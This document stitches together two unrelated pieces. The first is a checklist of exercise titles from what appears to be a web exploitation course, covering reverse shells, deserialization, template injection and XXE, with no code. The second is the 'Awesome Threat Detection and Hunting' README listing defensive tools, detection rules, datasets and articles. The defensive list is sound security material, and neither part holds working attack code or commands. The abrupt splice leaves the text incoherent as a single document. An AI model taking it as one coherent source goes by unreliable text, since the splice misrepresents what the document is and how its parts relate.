* [x] 6.6.3 Exercise - VBS file [!! Need to do the batch! Got the reverse shell... !!]
* [ ] 6.6.4 Extra Mile - Shell via JSP
* [x] 6.7.4 Exercise - PostgreSQL Extensions
* [x] 6.8.1 Exercise - UDF Reverse Shell
* [x] 6.9.3 Exercise - Moar Shells
* [ ] 6.9.4 Extra Mile - Moar Shells
* [ ] 7. Bassmaster NodeJS Arbitrary JavaScript Injection Vulnerability
* [x] Videos
* [x] Read/Notes
* [x] 7.6.1 Exercise - RevShell
* [ ] 7.6.2 Extra Mile - RevShell
* [ ] 8. DotNetNuke Deserialization RCE
* [x] Videos
* [x] Read/Notes
* [x] 8.4.3 Exercise - Serialization Basics
* [x] 8.4.5 Exercise - Serialization Basics
* [x] 8.4.7 Exercise - Serialization Basics
* [x] 8.5.3 Exercise - DNN Vuln Analysis
* [x] 8.6.4 Exercise - Payload Options
* [x] 8.6.7 Exercise - Payload Options
* [x] 8.7.1 Exercise - Payload Options
* [ ] 8.8.1 Extra Mile - Y SO SERIAL? .NET
* [x] 8.8.2 Extra Mile - Y SO SERIAL? Java
* [ ] 9. ERPNext Authentication Bypass and Server Side Template Injection
* [x] Videos
* [ ] Read/Notes
* [x] 9.1.1.1 Exercise - Configure Kali SMTPd server
* [x] 9.1.2.1 Exercise - Configure remote debugging
* [x] 9.1.3.1 Exercise - Configure MariaDB logging
* [x] 9.2.3.2 Exercise - Find whitelisted functions
* [x] 9.3.1.2 Exercises - SQLi
* [x] 9.4.2.1 Exercises - Access the admin acct
* [x] 9.5.2.1 Exercise - Find the SSTI
* [ ] 9.5.2.2 Extra Mile - Find another instance of SSTI
* [x] 9.5.3.1 Exercise - Recreate the `__class__` rendering
* [ ] 9.5.3.2 Extra Mile - Alternative filter bypass
* [x] 9.6.1.1 Exercises - Recreate the filter bypass and exploit and find other classes to own
* [x] 9.6.2.1 Exercises - Recreate RCE and get shell
* [ ] 9.6.2.2 Extra Mile - Get output to display
* [ ] 10. openCRX Authentication Bypass and Remote Code Execution
* [x] Videos
* [ ] Read/Notes
* [x] 10.2.1.1 Exercise - Recreate the Rando and SecureRando
* [x] 10.2.4.1 Exercise - Generate a token list
* [ ] 10.2.4.2 Extra Mile - Update token program to take start/stop
* [x] 10.2.5.2 Exercises - Reset password
* [ ] 10.2.5.3 Extra Mile - Automate the attack chain
* [x] 10.3.6.2 Exercises - Recreate the XXE attack
* [ ] 10.3.6.3 Extra Mile - Script to parse XXE results
* [x] 10.3.8.1 Exercise - Implement the "wrapper" payload
* [x] 10.3.9.2 Exercise - Connect to HSQLDB
* [x] 10.4.1.1 Exercises - Write file and confirm
* [ ] 10.4.2.1 Exercise - Find dir with JSP files
* [x] 10.4.3.1 Exercises - Get. That. Shell.
* [ ] 11. openITCOCKPITXSSandOSCommandInjection - Blackbox
* [x] Videos
* [ ] Read/Notes
* [x] 11.5.1 Exercise - Recreate the XSS
* [x] 11.6.2.1 Exercises - DOM rewrite
* [ ] 11.6.2.2 Extra Mile - Prevent new page load
* [x] 11.6.3.1 Exercises - Finish the script and initialize the DB
* [x] 11.6.4.1 Exercises - Finish the API script and get a fake login page with the XSS
* [ ] 11.6.4.2 Extra Mile - Add cookie functionality
* [ ] 11.6.5.1 Exercises - Exploit the XSS
* [ ] 11.6.5.2 Extra Miles - Beef up dat XSS
* [ ] 11.6.6.1 Exercise - Dump the SQLite DB
* [x] 11.7.4.1 Exercise - Fuzz and find cmds
* [x] 11.7.5.1 Exercise - Test cmd injection
* [ ] 11.7.6.1 Exercise - Get a meterpreter shell
* [ ] 10.7.7 Extra Mile - Get RCE via administrator session
|
# Awesome Threat Detection and Hunting
[](https://github.com/sindresorhus/awesome)
> A curated list of awesome threat detection and hunting resources
## Contents
- Threat Detection and Hunting
- 🔨 [Tools](#tools)
- [Detection, Alerting and Automation Platforms](#detection-alerting-and-automation-platforms)
- [Endpoint Monitoring](#endpoint-monitoring)
- [Network Monitoring](#network-monitoring)
- [Email Monitoring](#email-monitoring)
- 🔍 [Detection Rules](#detection-rules)
- 📑 [Dataset](#dataset)
- 📘 [Resources](#resources)
- [Frameworks](#frameworks)
- [Windows](#windows)
- [MacOS](#macos)
- [Osquery](#osquery)
- [DNS](#dns)
- [Fingerprinting](#fingerprinting)
- [Data Science](#data-science)
- [Research Papers](#research-papers)
- [Blogs](#blogs)
- [Related Awesome Lists](#related-awesome-lists)
- 🎙️ [Podcasts](#podcasts)
- 🗞️ [Newsletters](#newsletters)
- 🎥 [Videos](#videos)
- 👩🎓 [Trainings](#trainings)
- 👩💻 [Labs](#labs)
- 🤖 [Twitter](#twitter)
- Threat Simulation
- 🪓 [Tools](#threat-simulation-tools)
- 📕 [Resources](#threat-simulation-resources)
- [Contribute](#contribute)
- [License](#license)
## Tools
- [MITRE ATT&CK Navigator](https://mitre.github.io/attack-navigator/enterprise/) ([source code](https://github.com/mitre-attack/attack-navigator)) - The ATT&CK Navigator is designed to provide basic navigation and annotation of ATT&CK matrices, something that people are already doing today in tools like Excel.
- [HELK](https://github.com/Cyb3rWard0g/HELK) - A Hunting ELK (Elasticsearch, Logstash, Kibana) with advanced analytic capabilities.
- [DetectionLab](https://github.com/clong/DetectionLab/) - Vagrant & Packer scripts to build a lab environment complete with security tooling and logging best practices.
- [Revoke-Obfuscation](https://github.com/danielbohannon/Revoke-Obfuscation) - PowerShell Obfuscation Detection Framework.
- [Invoke-ATTACKAPI](https://github.com/Cyb3rWard0g/Invoke-ATTACKAPI) - A PowerShell script to interact with the MITRE ATT&CK Framework via its own API.
- [Unfetter](https://github.com/unfetter-analytic/unfetter) - A reference implementation provides a framework for collecting events (process creation, network connections, Window Event Logs, etc.) from a client machine and performing CAR analytics to detect potential adversary activity.
- [Flare](https://github.com/austin-taylor/flare) - An analytical framework for network traffic and behavioral analytics.
- [RedHunt-OS](https://github.com/redhuntlabs/RedHunt-OS) - A Virtual Machine for Adversary Emulation and Threat Hunting. RedHunt aims to be a one stop shop for all your threat emulation and threat hunting needs by integrating attacker's arsenal as well as defender's toolkit to actively identify the threats in your environment.
- [Oriana](https://github.com/mvelazc0/Oriana) - Lateral movement and threat hunting tool for Windows environments built on Django comes Docker ready.
- [Bro-Osquery](https://github.com/bro/bro-osquery) - Bro integration with osquery
- [Brosquery](https://github.com/jandre/brosquery) - A module for osquery to load Bro logs into tables
- [DeepBlueCLI](https://github.com/sans-blue-team/DeepBlueCLI) - A PowerShell Module for Hunt Teaming via Windows Event Logs
- [Uncoder](https://uncoder.io) - An online translator for SIEM saved searches, filters, queries, API requests, correlation and Sigma rules
- [CimSweep](https://github.com/PowerShellMafia/CimSweep) - A suite of CIM/WMI-based tools that enable the ability to perform incident response and hunting operations remotely across all versions of Windows
- [Dispatch](https://github.com/Netflix/dispatch) - An open-source crisis management orchestration framework
- [EQL](https://github.com/endgameinc/eql) - Event Query Language
- [EQLLib](https://github.com/endgameinc/eqllib) - The Event Query Language Analytics Library (eqllib) is a library of event based analytics, written in EQL to detect adversary behaviors identified in MITRE ATT&CK™.
- [BZAR](https://github.com/mitre-attack/bzar) (Bro/Zeek ATT&CK-based Analytics and Reporting) - A set of Zeek scripts to detect ATT&CK techniques
- [Security Onion](https://github.com/Security-Onion-Solutions/security-onion) - An open-source Linux distribution for threat hunting, security monitoring, and log management. It includes ELK, Snort, Suricata, Zeek, Wazuh, Sguil, and many other security tools
- [Varna](https://github.com/endgameinc/varna) - A quick & cheap AWS CloudTrail Monitoring with Event Query Language (EQL)
- [BinaryAlert](https://github.com/airbnb/binaryalert) - Serverless, real-time & retroactive malware detection
- [hollows_hunter](https://github.com/hasherezade/hollows_hunter) - Scans all running processes, recognizes and dumps a variety of potentially malicious implants (replaced/implanted PEs, shellcodes, hooks, in-memory patches).
- [ThreatHunting](https://github.com/olafhartong/ThreatHunting) - A Splunk app mapped to MITRE ATT&CK to guide your threat hunts
- [Sentinel Attack](https://github.com/BlueTeamLabs/sentinel-attack) - A repository of Azure Sentinel alerts and hunting queries leveraging sysmon and the MITRE ATT&CK framework
- [Brim](https://github.com/brimsec/brim) - A desktop application to efficiently search large packet captures and Zeek logs
- [YARA](https://github.com/virustotal/yara) - The pattern matching swiss knife
- [Intel Owl](https://github.com/intelowlproject/IntelOwl) - An Open Source Intelligence, or OSINT solution to get threat intelligence data about a specific file, an IP or a domain from a single API at scale.
- [Capa](https://github.com/fireeye/capa) - An open-source tool to identify capabilities in executable files.
- [Splunk Security Content](https://github.com/splunk/security_content) Splunk-curated detection content that can easily be used accross many SIEMs (see Uncoder Rule Converter.)
- [Threat Bus](https://github.com/tenzir/threatbus) - Threat intelligence dissemination layer to connect security tools through a distributed publish/subscribe message broker.
- [VAST](https://github.com/tenzir/vast) - A network telemetry engine for data-driven security investigations.
- [zeek2es](https://github.com/corelight/zeek2es) - An open source tool to convert Zeek logs to Elastic/OpenSearch. You can also output pure JSON from Zeek's TSV logs!
- [LogSlash](https://github.com/FoxIO-LLC/LogSlash): A standard for reducing log volume without sacrificing analytical capability.
- [SOC-Multitool](https://github.com/zdhenard42/SOC-Multitool): A powerful and user-friendly browser extension that streamlines investigations for security professionals.
- [Zeek Analysis Tools (ZAT)](https://github.com/SuperCowPowers/zat): Processing and analysis of Zeek network data with Pandas, scikit-learn, Kafka and Spark.
- [ProcMon for Linux](https://github.com/Sysinternals/ProcMon-for-Linux)
- [Synthetic Adversarial Log Objects (SALO)](https://github.com/splunk/salo) - A framework for the generation of log events without the need for infrastructure or actions to initiate the event that causes a log event.
### Detection, Alerting and Automation Platforms
> Check out the [Detection and Response Pipeline](https://github.com/0x4D31/detection-and-response-pipeline) repository for more resources. The repo contains a compilation of suggested tools/services for each component in a detection and response pipeline, along with real-world examples. The purpose is to create a reference hub for designing effective threat detection and response pipelines.
- [ElastAlert](https://github.com/Yelp/elastalert) - A framework for alerting on anomalies, spikes, or other patterns of interest from data in Elasticsearch
- [StreamAlert](https://github.com/airbnb/streamalert) - A serverless, realtime data analysis framework which empowers you to ingest, analyze, and alert on data from any environment, using datasources and alerting logic you define
- [Matano](https://github.com/matanolabs/matano): An open source security lake platform (SIEM alternative) for threat hunting, detection and response on AWS. Matano lets you write advanced detections as code (using python) to correlate and alert on threats in realtime.
- [Shuffle](https://github.com/Shuffle/Shuffle): A general purpose security automation platform.
- [Sublime](https://github.com/sublime-security/sublime-platform): An open platform for detection, response, and threat hunting in email environments. Sublime lets you write advanced detections as code to alert and remediate threats like phishing in real-time.
- [Substation](https://github.com/brexhq/substation) - A cloud native data pipeline and transformation toolkit for security teams.
### Endpoint Monitoring
- [osquery](https://osquery.io) ([github](https://github.com/osquery/osquery)) - SQL powered operating system instrumentation, monitoring, and analytics
- [Kolide Fleet](https://github.com/kolide/fleet) - A flexible control server for osquery fleets
- [Zeek Agent](https://github.com/zeek/zeek-agent) - An endpoint monitoring agent that provides host activity to Zeek
- [Velociraptor](https://github.com/Velocidex/velociraptor) - Endpoint visibility and collection tool
- [Sysdig](https://github.com/draios/sysdig) - A tool for deep Linux system visibility, with native support for containers. Think about sysdig as strace + tcpdump + htop + iftop + lsof + ...awesome sauce
- [go-audit](https://github.com/slackhq/go-audit) - An alternative to the Linux auditd daemon
- [Sysmon](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon) - A Windows system service and device driver that monitors and logs system activity to the Windows event log
- [Sysmon for Linux](https://github.com/Sysinternals/SysmonForLinux)
- [OSSEC](https://github.com/ossec/ossec-hids) - An open-source Host-based Intrusion Detection System (HIDS)
- [WAZUH](https://github.com/wazuh/wazuh) - An open-source security platform
#### Configuration
- [sysmon-DFIR](https://github.com/MHaggis/sysmon-dfir) - Sources, configuration and how to detect evil things utilizing Microsoft Sysmon.
- [sysmon-config](https://github.com/SwiftOnSecurity/sysmon-config) - Sysmon configuration file template with default high-quality event tracing.
- [sysmon-modular](https://github.com/olafhartong/sysmon-modular) - A repository of sysmon configuration modules. It also includes a [mapping](https://github.com/olafhartong/sysmon-modular/blob/master/attack_matrix/README.md) of Sysmon configurations to MITRE ATT&CK techniques.
- [auditd configuration](https://github.com/Neo23x0/auditd)
- [osquery-configuration](https://github.com/palantir/osquery-configuration) - A repository for using osquery for incident detection and response.
### Network Monitoring
- [Zeek](https://github.com/zeek/zeek) (formerly Bro) - A network security monitoring tool
- [ntopng](https://github.com/ntop/ntopng) - A web-based network traffic monitoring tool
- [Suricata](https://suricata-ids.org) - A network threat detection engine
- [Snort](https://snort.org) ([github](https://github.com/snort3/snort3)) - A network intrusion detection tool
- [Joy](https://github.com/cisco/joy) - A package for capturing and analyzing network flow data and intraflow data, for network research, forensics, and security monitoring
- [Netcap](https://github.com/dreadl0ck/netcap) - A framework for secure and scalable network traffic analysis
- [Moloch](https://github.com/aol/moloch) - A large scale and open source full packet capture and search tool
- [Stenographer](https://github.com/google/stenographer) - A full-packet-capture tool
#### Fingerprinting Tools
- [JA3](https://github.com/salesforce/ja3) - A method for profiling SSL/TLS Clients and Servers
- [HASSH](https://github.com/salesforce/hassh) - Profiling Method for SSH Clients and Servers
- [RDFP](https://github.com/yahoo/rdfp) - Zeek Remote desktop fingerprinting script based on [FATT](https://github.com/0x4D31/fatt) (Fingerprint All The Things)
- [FATT](https://github.com/0x4D31/fatt) - A pyshark based script for extracting network metadata and fingerprints from pcap files and live network traffic
- [FingerprinTLS](https://github.com/LeeBrotherston/tls-fingerprinting) - A TLS fingerprinting method
- [Mercury](https://github.com/cisco/mercury) - Network fingerprinting and packet metadata capture
- [GQUIC Protocol Analyzer for Zeek](https://github.com/salesforce/GQUIC_Protocol_Analyzer)
- [Recog](https://github.com/rapid7/recog) - A framework for identifying products, services, operating systems, and hardware by matching fingerprints against data returned from various network probes
- [Hfinger](https://github.com/CERT-Polska/hfinger) - Fingerprinting HTTP requests
- [JARM](https://github.com/salesforce/jarm) - An active Transport Layer Security (TLS) server fingerprinting tool.
### Email Monitoring
- [Sublime Platform](https://github.com/sublime-security/sublime-platform) - An email threat detection engine
## Detection Rules
- [Sigma](https://github.com/SigmaHQ/sigma) - Generic Signature Format for SIEM Systems
- [Splunk Detections](https://research.splunk.com/detections/) and [Analytic stories](https://research.splunk.com/stories/)
- [Elastic Detection Rules](https://github.com/elastic/detection-rules)
- [MITRE CAR](https://car.mitre.org/) - The Cyber Analytics Repository is a knowledge base of analytics developed by MITRE based on the Adversary Tactics, Techniques, and Common Knowledge (ATT&CK™) adversary model.
- [Awesome YARA Rules](https://github.com/InQuest/awesome-yara#rules)
- [Chronicle Detection Rules](https://github.com/chronicle/detection-rules) - Collection of YARA-L 2.0 sample rules for the Chronicle Detection API.
- [GCP Security Analytics](https://github.com/GoogleCloudPlatform/security-analytics) - Community Security Analytics provides a set of community-driven audit & threat queries for Google Cloud.
- [ThreatHunter-Playbook](https://github.com/OTRF/ThreatHunter-Playbook) - A community-driven, open-source project to share detection logic, adversary tradecraft and resources to make detection development more efficient.
- [Sublime Detection Rules](https://github.com/sublime-security/sublime-rules) - Email attack detection, response, and hunting rules.
## Dataset
- [Mordor](https://github.com/Cyb3rWard0g/mordor) - Pre-recorded security events generated by simulated adversarial techniques in the form of JavaScript Object Notation (JSON) files. The data is categorized by platforms, adversary groups, tactics and techniques defined by the Mitre ATT&CK Framework.
- [SecRepo.com](https://www.secrepo.com)([github repo](https://github.com/sooshie/secrepo)) - Samples of security related data.
- [Boss of the SOC (BOTS) Dataset Version 1](https://github.com/splunk/botsv1)
- [Boss of the SOC (BOTS) Dataset Version 2](https://github.com/splunk/botsv2)
- [Boss of the SOC (BOTS) Dataset Version 3](https://github.com/splunk/botsv3)
- [EMBER](https://github.com/endgameinc/ember) ([paper](https://arxiv.org/abs/1804.04637)) - The EMBER dataset is a collection of features from PE files that serve as a benchmark dataset for researchers
- [theZoo](https://github.com/ytisf/theZoo) - A repository of LIVE malwares
- [CIC Datasets](https://www.unb.ca/cic/datasets/index.html) - Canadian Institute for Cybersecurity datasets
- [Netresec's PCAP repo list](https://www.netresec.com/?page=PcapFiles) - A list of public packet capture repositories, which are freely available on the Internet.
- [PCAP-ATTACK](https://github.com/sbousseaden/PCAP-ATTACK) - A repo of PCAP samples for different ATT&CK techniques.
- [EVTX-ATTACK-SAMPLES](https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES) - A repo of Windows event samples (EVTX) associated with ATT&CK techniques ([EVTX-ATT&CK Sheet](https://docs.google.com/spreadsheets/d/12V5T9j6Fi3JSmMpAsMwovnWqRFKzzI9l2iXS5dEsnrs/edit#gid=164587082)).
- [Public Security Log Sharing Site](http://log-sharing.dreamhosters.com)
- [attack_data](https://github.com/splunk/attack_data) - A repository of curated datasets from various attacks.
## Resources
- [Huntpedia](docs/huntpedia.pdf) - Your Threat Hunting Knowledge Compendium
- [Hunt Evil](docs/hunt-evil.pdf) - Your Practical Guide to Threat Hunting
- [The Hunter's Handbook](docs/The-Hunters-Handbook.pdf) - Endgame's guide to adversary hunting
- [ThreatHunter-Playbook](https://github.com/Cyb3rWard0g/ThreatHunter-Playbook) - A Threat hunter's playbook to aid the development of techniques and hypothesis for hunting campaigns.
- [The ThreatHunting Project](https://github.com/ThreatHuntingProject/ThreatHunting) - A great [collection of hunts](https://github.com/ThreatHuntingProject/ThreatHunting/tree/master/hunts) and threat hunting resources.
- [CyberThreatHunting](https://github.com/A3sal0n/CyberThreatHunting) - A collection of resources for threat hunters.
- [Hunt-Detect-Prevent](https://github.com/MHaggis/hunt-detect-prevent) - Lists of sources and utilities to hunt, detect and prevent evildoers.
- [Alerting and Detection Strategy Framework](https://medium.com/@palantir/alerting-and-detection-strategy-framework-52dc33722df2)
- [Generating Hypotheses for Successful Threat Hunting](https://www.sans.org/reading-room/whitepapers/threats/generating-hypotheses-successful-threat-hunting-37172)
- [Expert Investigation Guide - Threat Hunting](https://github.com/Foundstone/ExpertInvestigationGuides/tree/master/ThreatHunting)
- [Active Directory Threat Hunting](https://adsecurity.org/wp-content/uploads/2017/04/2017-BSidesCharm-DetectingtheElusive-ActiveDirectoryThreatHunting-Final.pdf)
- [Threat Hunting for Fileless Malware](https://www.countercept.com/our-thinking/threat-hunting-for-fileless-malware/)
- [Windows Commands Abused by Attackers](http://blog.jpcert.or.jp/.s/2016/01/windows-commands-abused-by-attackers.html)
- [Deception-as-Detection](https://github.com/0x4D31/deception-as-detection) - Deception based detection techniques mapped to the MITRE’s ATT&CK framework.
- [On TTPs](http://ryanstillions.blogspot.com.au/2014/04/on-ttps.html)
- Hunting On The Cheap ([Slides](https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492182404.pdf))
- [Threat Hunting Techniques - AV, Proxy, DNS and HTTP Logs](https://www.cyberhuntz.com/2016/08/threat-hunting-techniques-av-proxy-dns.html)
- [Detecting Malware Beacons Using Splunk](https://pleasefeedthegeek.wordpress.com/2012/12/20/detecting-malware-beacons-using-splunk/)
- [Data Science Hunting Funnel](http://www.austintaylor.io/network/traffic/threat/data/science/hunting/funnel/machine/learning/domain/expertise/2017/07/11/data-science-hunting-funnel/)
- [Use Python & Pandas to Create a D3 Force Directed Network Diagram](http://www.austintaylor.io/d3/python/pandas/2016/02/01/create-d3-chart-python-force-directed/)
- [Syscall Auditing at Scale](https://slack.engineering/syscall-auditing-at-scale-e6a3ca8ac1b8)
- [Catching attackers with go-audit and a logging pipeline](https://summitroute.com/blog/2016/12/25/Catching_attackers_with_go-audit_and_a_logging_pipeline/)
- [The Coventry Conundrum of Threat Intelligence](https://summitroute.com/blog/2015/06/10/the_conventry_conundrum_of_threat_intelligence/)
- [Signal the ATT&CK: Part 1](https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/signal-att-and-ck-part-1.html) - Building a real-time threat detection capability with Tanium that focuses on documented adversarial techniques.
- SANS Summit Archives ([DFIR](https://www.sans.org/cyber-security-summit/archives/dfir), [Cyber Defense](https://www.sans.org/cyber-security-summit/archives/cyber-defense)) - Threat hunting, Blue Team and DFIR summit slides
- [Bro-Osquery](https://svs.informatik.uni-hamburg.de/publications/2018/2018-05-31-Haas-QueryCon-Bro-Osquery.pdf) - Large-Scale Host and Network Monitoring Using Open-Source Software
- [Malware Persistence](https://github.com/Karneades/malware-persistence) - Collection of various information focused on malware persistence: detection (techniques), response, pitfalls and the log collection (tools).
- [Threat Hunting with Jupyter Notebooks](https://posts.specterops.io/threat-hunting-with-jupyter-notebooks-part-1-your-first-notebook-9a99a781fde7)
- [How Dropbox Security builds tools for threat detection and incident response](https://dropbox.tech/security/how-dropbox-security-builds-better-tools-for-threat-detection-and-incident-response)
- [Introducing Event Query Language](https://www.elastic.co/blog/introducing-event-query-language)
- [The No Hassle Guide to Event Query Language (EQL) for Threat Hunting](https://www.varonis.com/blog/guide-no-hassle-eql-threat-hunting/) ([PDF](docs/varonis.com-EQLforThreatHunting.pdf))
- [Introducing the Funnel of Fidelity](https://posts.specterops.io/introducing-the-funnel-of-fidelity-b1bb59b04036) ([PDF](docs/specterops-IntroducingtheFunnelofFidelity.pdf))
- [Detection Spectrum](https://posts.specterops.io/detection-spectrum-198a0bfb9302) ([PDF](docs/specterops-DetectionSpectrum.pdf))
- [Capability Abstraction](https://posts.specterops.io/capability-abstraction-fbeaeeb26384) ([PDF](docs/specterops-CapabilityAbstraction.pdf))
- [Awesome YARA](https://github.com/InQuest/awesome-yara) - A curated list of awesome YARA rules, tools, and resources
- [Defining ATT&CK Data Sources](https://medium.com/mitre-attack/defining-attack-data-sources-part-i-4c39e581454f) - A two-part blog series that outlines a new methodology to extend ATT&CK’s current data sources.
- [DETT&CT: MAPPING YOUR BLUE TEAM TO MITRE ATT&CK™](https://www.mbsecure.nl/blog/2019/5/dettact-mapping-your-blue-team-to-mitre-attack) - A blog that describes how to align MITRE ATT&CK-based detection content with data sources.
- Detection as Code in Splunk [Part 1, ](https://www.splunk.com/en_us/blog/security/ci-cd-detection-engineering-splunk-security-content-part-1.html)[Part 2, ](https://www.splunk.com/en_us/blog/security/ci-cd-detection-engineering-splunk-s-attack-range-part-2.html)[and Part 3](https://www.splunk.com/en_us/blog/security/ci-cd-detection-engineering-failing-part-3.html) - A multipart series describing how detection as code can be successfully deployed in a Splunk environment.
- [Lessons Learned in Detection Engineering](https://medium.com/starting-up-security/lessons-learned-in-detection-engineering-304aec709856) - A well experienced detection engineer describes in detail his observations, challenges, and recommendations for building an effective threat detection program.
- [A Research-Driven process applied to Threat Detection Engineering Inputs](https://ateixei.medium.com/a-research-driven-process-applied-to-threat-detection-engineering-inputs-1b7e6fe0412b).
- [Investigation Scenario](https://twitter.com/search?q=%23InvestigationPath%20from%3Achrissanders88&f=live) tweets by Chris Sanders
- [Oh My Malware](https://ohmymalware.com) - A video series focused on malware execution and investigations using Elastic Security.
### Frameworks
- [MITRE ATT&CK](https://attack.mitre.org/wiki/Main_Page) - A curated knowledge base and model for cyber adversary behavior, reflecting the various phases of an adversary’s lifecycle and the platforms they are known to target.
- [Alerting and Detection Strategies Framework](https://github.com/palantir/alerting-detection-strategy-framework) - A framework for developing alerting and detection strategies.
- [A Simple Hunting Maturity Model](http://detect-respond.blogspot.com.au/2015/10/a-simple-hunting-maturity-model.html) - The Hunting Maturity Model describes five levels of organizational hunting capability, ranging from HMM0 (the least capability) to HMM4 (the most).
- [The Pyramic of Pain](http://detect-respond.blogspot.com.au/2013/03/the-pyramid-of-pain.html) - The relationship between the types of indicators you might use to detect an adversary's activities and how much pain it will cause them when you are able to deny those indicators to them.
- [A Framework for Cyber Threat Hunting](docs/Framework-for-Threat-Hunting-Whitepaper.pdf)
- [The PARIS Model](http://threathunter.guru/blog/the-paris-model/) - A model for threat hunting.
- [Cyber Kill Chain](https://www.lockheedmartin.com/us/what-we-do/aerospace-defense/cyber/cyber-kill-chain.html) - It is part of the Intelligence Driven Defense® model for identification and prevention of cyber intrusions activity. The model identifies what the adversaries must complete in order to achieve their objective.
- [The DML Model](http://ryanstillions.blogspot.com.au/2014/04/the-dml-model_21.html) - The Detection Maturity Level (DML) model is a capability maturity model for referencing ones maturity in detecting cyber attacks.
- [NIST Cybersecurity Framework](https://www.nist.gov/cyberframework)
- [OSSEM](https://github.com/hunters-forge/OSSEM) (Open Source Security Events Metadata) - A community-led project that focuses on the documentation and standardization of security event logs from diverse data sources and operating systems.
- [Open Cybersecurity Schema Framework (OCSF)](https://github.com/ocsf/ocsf-schema) - A framework for creating schemas and it also delivers a cybersecurity event schema built with the framework ([schema browser](https://schema.ocsf.io/)).
- [MITRE Engage](https://engage.mitre.org/) - A framework for planning and discussing adversary engagement operations that empowers you to engage your adversaries and achieve your cybersecurity goals.
- [MaGMa Use Case Defintion Model](https://www.betaalvereniging.nl/wp-content/uploads/FI-ISAC-use-case-framework-verkorte-versie.pdf) - A business-centric approach for planning and defining threat detection use cases.
### Windows
- [Threat Hunting via Windows Event Logs](docs/Threat%20Hunting%20via%20Windows%20Event%20Logs%20Secwest%202019.pdf)
- [Windows Logging Cheat Sheets](https://www.malwarearchaeology.com/cheat-sheets/)
- [Active Directory Threat Hunting](https://adsecurity.org/wp-content/uploads/2017/04/2017-BSidesCharm-DetectingtheElusive-ActiveDirectoryThreatHunting-Final.pdf)
- [Windows Hunting](https://github.com/beahunt3r/Windows-Hunting) - A collection of Windows hunting queries
- [Windows Commands Abused by Attackers](https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html)
- [JPCERT - Detecting Lateral Movement through Tracking Event Logs](https://blogs.jpcert.or.jp/en/2017/12/research-report-released-detecting-lateral-movement-through-tracking-event-logs-version-2.html)
- [Tool Analysis Result Sheet](https://jpcertcc.github.io/ToolAnalysisResultSheet/)
#### Sysmon
- [Splunking the Endpoint: Threat Hunting with Sysmon](https://medium.com/@haggis_m/splunking-the-endpoint-threat-hunting-with-sysmon-9dd956e3e1bd)
- [Hunting with Sysmon](https://medium.com/@haggis_m/hunting-with-sysmon-38de012e62e6)
- [Threat Hunting with Sysmon: Word Document with Macro](http://www.syspanda.com/index.php/2017/10/10/threat-hunting-sysmon-word-document-macro/)
- Chronicles of a Threat Hunter: Hunting for In-Memory Mimikatz with Sysmon and ELK
- [Part I (Event ID 7)](https://cyberwardog.blogspot.com.au/2017/03/chronicles-of-threat-hunter-hunting-for.html)
- [Part II (Event ID 10)](https://cyberwardog.blogspot.com.au/2017/03/chronicles-of-threat-hunter-hunting-for_22.html)
- Advanced Incident Detection and Threat Hunting using Sysmon (and Splunk) ([botconf 2016 Slides](https://www.botconf.eu/wp-content/uploads/2016/11/PR12-Sysmon-UELTSCHI.pdf), [FIRST 2017 Slides](https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf))
- [The Sysmon and Threat Hunting Mimikatz wiki for the blue team](https://www.peerlyst.com/posts/the-sysmon-and-threat-hunting-mimikatz-wiki-for-the-blue-team-guurhart)
- [Splunkmon — Taking Sysmon to the Next Level](https://www.crypsisgroup.com/wp-content/uploads/2017/07/CG_WhitePaper_Splunkmon_1216-1.pdf)
- [Sysmon Threat Detection Guide](https://www.varonis.com/blog/sysmon-threat-detection-guide/) ([PDF](docs/varonis.com-SysmonThreatAnalysisGuide.pdf))
#### PowerShell
- Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science ([Paper](https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And%20Evasion-Using-Science-wp.pdf), [Slides](https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And%20Evasion-Using-Science.pdf))
- [Hunting the Known Unknowns (With PowerShell)](https://conf.splunk.com/files/2016/slides/hunting-the-known-unknowns-the-powershell-edition.pdf)
- [HellsBells, Let's Hunt PowerShells!](https://www.splunk.com/blog/2017/07/06/hellsbells-lets-hunt-powershells.html)
- [Hunting for PowerShell Using Heatmaps](https://medium.com/@jshlbrd/hunting-for-powershell-using-heatmaps-69b70151fa5d)
### MacOS
- [A Guide to macOS Threat Hunting and Incident Response](docs/SentinalOne_macOS_Threat_Hunting_and_Incident_Response_A_Complete_Guide_17032020-1.pdf)
### Osquery
- [osquery Across the Enterprise](https://medium.com/@palantir/osquery-across-the-enterprise-3c3c9d13ec55)
- [osquery for Security — Part 1](https://medium.com/@clong/osquery-for-security-b66fffdf2daf)
- [osquery for Security — Part 2](https://medium.com/@clong/osquery-for-security-part-2-2e03de4d3721) - Advanced osquery functionality, File integrity monitoring, process auditing, and more.
- [Tracking a stolen code-signing certificate with osquery](https://blog.trailofbits.com/2017/10/10/tracking-a-stolen-code-signing-certificate-with-osquery/)
- [Monitoring macOS hosts with osquery](https://blog.kolide.com/monitoring-macos-hosts-with-osquery-ba5dcc83122d)
- [Kolide's Blog](https://blog.kolide.com/)
- [The osquery Extensions Skunkworks Project](https://github.com/trailofbits/presentations/tree/master/Osquery%20Extensions)
### DNS
- [Detecting DNS Tunneling](https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152)
- [Hunting the Known Unknowns (with DNS)](https://www.splunk.com/pdfs/events/govsummit/hunting_the_known_unknowns_with_DNS.pdf)
- [Detecting dynamic DNS domains in Splunk](https://www.splunk.com/blog/2015/08/04/detecting-dynamic-dns-domains-in-splunk.html)
- [Random Words on Entropy and DNS](https://www.splunk.com/blog/2015/10/01/random-words-on-entropy-and-dns.html)
- [Tracking Newly Registered Domains](https://isc.sans.edu/diary/Tracking+Newly+Registered+Domains/23127)
- [Suspicious Domains Tracking Dashboard](https://isc.sans.edu/forums/diary/Suspicious+Domains+Tracking+Dashboard/23046/)
- [Proactive Malicious Domain Search](https://isc.sans.edu/forums/diary/Proactive+Malicious+Domain+Search/23065/)
